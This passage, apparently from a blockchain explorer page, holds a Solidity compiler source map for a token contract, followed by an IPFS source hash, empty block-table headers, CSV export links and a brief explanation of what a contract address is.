;:102;;;;-1:-1:-1;4640:13:0;4271:1;4640:2;:13;:::i;:::-;4629:24;;:8;:24;:::i;:::-;9098:20;:39;9035:102;:134;;;;;9151:18;;9141:9;;:28;9035:134;9031:454;;;9204:74;9221:56;9225:11;9238:38;9242:20;4708:13;4271:1;4708:2;:13;:::i;:::-;4697:24;;:8;:24;:::i;:::-;9238:3;:38::i;9221:56::-;9204:16;:74::i;:::-;9326:21;9370:20;;9366:104;;9415:35;9428:21;9415:12;:35::i;:::-;9185:300;9031:454;8225:1271;8168:1328;-1:-1:-1;;;;;9514:24:0;;;;;;:18;:24;;;;;;;;;:49;;-1:-1:-1;;;;;;9541:22:0;;;;;;:18;:22;;;;;;;;9514:49;9513:76;;;;-1:-1:-1;;;;;;9569:20:0;;9584:4;9569:20;;9513:76;:99;;;;-1:-1:-1;;;;;;9593:19:0;;9607:4;9593:19;;9513:99;9508:164;;;9648:12;9630:15;:30;9508:164;-1:-1:-1;;;;;9689:24:0;;;;;;:18;:24;;;;;;;;9688:25;:50;;;;-1:-1:-1;;;;;;9716:22:0;;;;;;:18;:22;;;;;;;;9715:23;9688:50;9684:983;;;9758:13;;-1:-1:-1;;;;;9758:18:0;;;:13;;:18;9754:902;;-1:-1:-1;;;;;9826:14:0;;;9797:26;9826:14;;;:10;:14;;;;;9863:13;;9826:14;;9863:21;;;:13;;:21;9859:539;;9912:21;;;:26;9908:165;;10001:18;;9991:9;;:28;:58;;10037:12;9991:58;;;10021:14;10034:1;10021:12;:14;:::i;:::-;9967:82;;9908:165;9859:539;;;-1:-1:-1;;;;;10154:16:0;;10121:30;10154:16;;;:10;:16;;;;;10225:21;;10197:25;;:49;;:79;;-1:-1:-1;10252:21:0;;:23;10197:79;10193:186;;;10330:25;;10306:49;;10193:186;10098:300;9859:539;9778:635;9754:902;;;-1:-1:-1;;;;;10471:16:0;;10438:30;10471:16;;;:10;:16;;;;;10561:15;;10531:25;;:46;;:29;:46::i;:::-;10506:22;;;:71;10625:15;10596:26;;;;:44;9754:902;10679:46;10694:4;10699:2;10703:11;10715:9;10679:14;:46::i;:::-;7769:2964;7695:3038;;;:::o;1599:190::-;1685:7;1721:12;1713:6;;;;1705:29;;;;-1:-1:-1;;;1705:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1745:9:0;1757:5;1761:1;1757;:5;:::i;:::-;1745:17;1599:190;-1:-1:-1;;;;;1599:190:0:o;11901:483::-;5237:6;:13;;-1:-1:-1;;;;5237:13:0;-1:-1:-1;;;5237:13:0;;;12003:16:::1;::::0;;12017:1:::1;12003:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12003:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12003:16:0::1;11979:40;;12048:4;12030;12035:1;12030:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;12030:23:0::1;;;-1:-1:-1::0;;;;;12030:23:0::1;;;::::0;::::1;12074:15;-1:-1:-1::0;;;;;12074:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12064:4;12069:1;12064:7;;;;;;;;:::i;:::-;;;;;;:32;-1:-1:-1::0;;;;;12064:32:0::1;;;-1:-1:-1::0;;;;;12064:32:0::1;;;::::0;::::1;12107:62;12124:4;12139:15;12157:11;12107:8;:62::i;:::-;12180:196;::::0;-1:-1:-1;;;12180:196:0;;-1:-1:-1;;;;;12180:15:0::1;:66;::::0;::::1;::::0;:196:::1;::::0;12261:11;;12287:1:::1;::::0;12303:4;;12330::::1;::::0;12350:15:::1;::::0;12180:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5273:6:0;:14;;-1:-1:-1;;;;5273:14:0;;;-1:-1:-1;;;;11901:483:0:o;12557:92::-;12614:10;;:27;;-1:-1:-1;;;;;12614:10:0;;;;:27;;;;;12634:6;;12614:10;:27;:10;:27;12634:6;12614:10;:27;;;;;;;;;;;;;;;;;;;6703:252;-1:-1:-1;;;;;6812:15:0;;;;;;:9;:15;;;;;;:32;;6832:11;6812:19;:32::i;:::-;-1:-1:-1;;;;;6794:15:0;;;;;;;:9;:15;;;;;;:50;;;;6871:13;;;;;;;:30;;6889:11;6871:17;:30::i;:::-;-1:-1:-1;;;;;6855:13:0;;;;;;;:9;:13;;;;;;;:46;;;;6917:30;;;;;;;;;;6935:11;1361:25:1;;1349:2;1334:18;;1215:177;1201:246:0;1259:7;1283:1;1288;1283:6;1279:47;;-1:-1:-1;1313:1:0;1306:8;;1279:47;1336:9;1348:5;1352:1;1348;:5;:::i;:::-;1336:17;-1:-1:-1;1381:1:0;1372:5;1376:1;1336:17;1372:5;:::i;:::-;:10;1364:56;;;;-1:-1:-1;;;1364:56:0;;12157:2:1;1364:56:0;;;12139:21:1;12196:2;12176:18;;;12169:30;12235:34;12215:18;;;12208:62;-1:-1:-1;;;12286:18:1;;;12279:31;12327:19;;1364:56:0;11955:397:1;1364:56:0;1438:1;1201:246;-1:-1:-1;;;1201:246:0:o;1797:132::-;1855:7;1882:39;1886:1;1889;1882:39;;;;;;;;;;;;;;;;;:3;:39::i;11795:98::-;11852:7;11879:1;11877;:3;11876:9;;11884:1;11876:9;;;-1:-1:-1;11882:1:0;11795:98;-1:-1:-1;11795:98:0:o;1455:136::-;1513:7;1540:43;1544:1;1547;1540:43;;;;;;;;;;;;;;;;;:3;:43::i;11495:292::-;11639:15;11657:47;11675:4;11681:11;11694:9;11657:17;:47::i;:::-;11639:65;-1:-1:-1;11715:64:0;11735:4;11741:2;11639:65;11752:26;:11;11768:9;11752:15;:26::i;:::-;11715:19;:64::i;:::-;11628:159;11495:292;;;;:::o;1014:179::-;1072:7;;1104:5;1108:1;1104;:5;:::i;:::-;1092:17;;1133:1;1128;:6;;1120:46;;;;-1:-1:-1;;;1120:46:0;;12559:2:1;1120:46:0;;;12541:21:1;12598:2;12578:18;;;12571:30;12637:29;12617:18;;;12610:57;12684:18;;1120:46:0;12357:351:1;1937:205:0;2039:7;2074:12;2067:5;2059:28;;;;-1:-1:-1;;;2059:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2098:9:0;2110:5;2114:1;2110;:5;:::i;10741:417::-;10887:10;;10841:7;;;;-1:-1:-1;;;;;10887:10:0;;;10878:19;;;;:68;;10914:15;;:32;;10934:11;10914:19;:32::i;:::-;10878:68;;;10900:11;10878:68;10861:85;-1:-1:-1;10961:12:0;;10957:169;;11033:4;11015:24;;;;:9;:24;;;;;;:39;;11044:9;11015:28;:39::i;:::-;11008:4;10990:24;;;;:9;:24;;;;;;;:64;;;;11074:40;;-1:-1:-1;;;;;11074:40:0;;;;;;;11104:9;1361:25:1;;1349:2;1334:18;;1215:177;11074:40:0;;;;;;;;10957:169;11143:7;10741:417;-1:-1:-1;;;;10741:417:0:o;11166:321::-;-1:-1:-1;;;;;11343:15:0;;;;;;:9;:15;;;;;;:31;;11363:10;11343:19;:31::i;:::-;-1:-1:-1;;;;;11327:15:0;;;;;;;:9;:15;;;;;;:47;;;;11399:13;;;;;;;:32;;11417:13;11399:17;:32::i;:::-;-1:-1:-1;;;;;11385:13:0;;;;;;;:9;:13;;;;;;;:46;;;;11447:32;;;;;;;;;;11465:13;1361:25:1;;1349:2;1334:18;;1215:177;11447:32:0;;;;;;;;11166:321;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:416;3121:1;3158:5;3121:1;3172:270;3193:7;3183:8;3180:21;3172:270;;;3252:4;3248:1;3244:6;3240:17;3234:4;3231:27;3228:53;;;3261:18;;:::i;:::-;3311:7;3301:8;3297:22;3294:55;;;3331:16;;;;3294:55;3410:22;;;;3370:15;;;;3172:270;;;3176:3;3032:416;;;;;:::o;3453:806::-;3502:5;3532:8;3522:80;;-1:-1:-1;3573:1:1;3587:5;;3522:80;3621:4;3611:76;;-1:-1:-1;3658:1:1;3672:5;;3611:76;3703:4;3721:1;3716:59;;;;3789:1;3784:130;;;;3696:218;;3716:59;3746:1;3737:10;;3760:5;;;3784:130;3821:3;3811:8;3808:17;3805:43;;;3828:18;;:::i;:::-;-1:-1:-1;;3884:1:1;3870:16;;3899:5;;3696:218;;3998:2;3988:8;3985:16;3979:3;3973:4;3970:13;3966:36;3960:2;3950:8;3947:16;3942:2;3936:4;3933:12;3929:35;3926:77;3923:159;;;-1:-1:-1;4035:19:1;;;4067:5;;3923:159;4114:34;4139:8;4133:4;4114:34;:::i;:::-;4184:6;4180:1;4176:6;4172:19;4163:7;4160:32;4157:58;;;4195:18;;:::i;:::-;4233:20;;3453:806;-1:-1:-1;;;3453:806:1:o;4264:140::-;4322:5;4351:47;4392:4;4382:8;4378:19;4372:4;4351:47;:::i;4409:168::-;4482:9;;;4513;;4530:15;;;4524:22;;4510:37;4500:71;;4551:18;;:::i;4582:356::-;4784:2;4766:21;;;4803:18;;;4796:30;4862:34;4857:2;4842:18;;4835:62;4929:2;4914:18;;4582:356::o;5295:251::-;5365:6;5418:2;5406:9;5397:7;5393:23;5389:32;5386:52;;;5434:1;5431;5424:12;5386:52;5466:9;5460:16;5485:31;5510:5;5485:31;:::i;6472:306::-;6560:6;6568;6576;6629:2;6617:9;6608:7;6604:23;6600:32;6597:52;;;6645:1;6642;6635:12;6597:52;6674:9;6668:16;6658:26;;6724:2;6713:9;6709:18;6703:25;6693:35;;6768:2;6757:9;6753:18;6747:25;6737:35;;6472:306;;;;;:::o;7062:277::-;7129:6;7182:2;7170:9;7161:7;7157:23;7153:32;7150:52;;;7198:1;7195;7188:12;7150:52;7230:9;7224:16;7283:5;7276:13;7269:21;7262:5;7259:32;7249:60;;7305:1;7302;7295:12;9726:125;9791:9;;;9812:10;;;9809:36;;;9825:18;;:::i;10211:135::-;10250:3;10271:17;;;10268:43;;10291:18;;:::i;:::-;-1:-1:-1;10338:1:1;10327:13;;10211:135::o;10351:128::-;10418:9;;;10439:11;;;10436:37;;;10453:18;;:::i;10616:127::-;10677:10;10672:3;10668:20;10665:1;10658:31;10708:4;10705:1;10698:15;10732:4;10729:1;10722:15;10748:980;11010:4;11058:3;11047:9;11043:19;11089:6;11078:9;11071:25;11115:2;11153:6;11148:2;11137:9;11133:18;11126:34;11196:3;11191:2;11180:9;11176:18;11169:31;11220:6;11255;11249:13;11286:6;11278;11271:22;11324:3;11313:9;11309:19;11302:26;;11363:2;11355:6;11351:15;11337:29;;11384:1;11394:195;11408:6;11405:1;11402:13;11394:195;;;11473:13;;-1:-1:-1;;;;;11469:39:1;11457:52;;11564:15;;;;11529:12;;;;11505:1;11423:9;11394:195;;;-1:-1:-1;;;;;;;11645:32:1;;;;11640:2;11625:18;;11618:60;-1:-1:-1;;;11709:3:1;11694:19;11687:35;11606:3;10748:980;-1:-1:-1;;;10748:980:1:o;11733:217::-;11773:1;11799;11789:132;;11843:10;11838:3;11834:20;11831:1;11824:31;11878:4;11875:1;11868:15;11906:4;11903:1;11896:15;11789:132;-1:-1:-1;11935:9:1;;11733:217::o

Swarm Source

ipfs://e291c4694d84afdbad54c7b15771234cb407d0f314a5920c051cec427f9a1aa9

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.